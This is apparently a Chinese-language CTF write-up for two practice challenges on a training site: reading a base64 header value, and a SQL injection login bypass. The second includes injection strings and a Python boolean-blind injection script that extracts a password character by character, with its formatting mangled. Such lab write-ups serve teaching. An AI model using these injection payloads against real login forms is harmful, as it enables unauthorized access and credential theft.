猫抓老鼠
题目地址:http://ctf5.shiyanbar.com/basic/catch/
很奇怪的一道题目,直接将响应头里Content-Row的MTUxNjY4MzYzNQ==提交就可以了
getflag
the end
看起来有点难
题目地址:http://ctf5.shiyanbar.com/basic/inject/index.php
一道SQL注入题目,简单测试一下,只有admin=admin的时候会回显“登录失败,错误的用户名和密码”,其他的admin值都会回显数据库连接失败。提交admin=admin'or '1&pass=1&action=login,看到“登录失败,错误的用户名和密码”说明空格和单引号没有被吃掉,接下来就开始注入了。
发现如果输入select会被alert弹窗提示请不要注入
一种做法是我们猜测并确认其存放密码的字段名为password(通过like或者regexp去确认:password regexp '.+'或者passwordl like '%'),然后进行布尔盲注,贴上脚本
# -*- coding:utf8 -*-
import requests
url ="http://ctf5.shiyanbar.com/basic/inject/index.php?action=login&pass=select&admin="
chars ="0123456789abcdefghijklmnopqrstuvwxyz@"
mys = requests.session()
true ='登录失败'.decode("utf8").encode("gb2312")
result =''
#idnuenna
for xin range(50):
# payload = "admin'and (length(database())=%s) or '0"%(x+1)
for yin chars:
payload ="admin'and password regexp '^%s' or '0" % (result + y)
re = mys.get(url+payload)
if truein re.content:
result = result + y
print "true " +str(x+1) +" " + result
break
print "end!"
print result
然后提交,getflag
还有另一种做法就是,虽然页面提示不要进行注入,但是把窗口关掉,会发现提交的SQL语句还是正常执行了
然后就慢慢爆破表名和字段名啰
the end
网友评论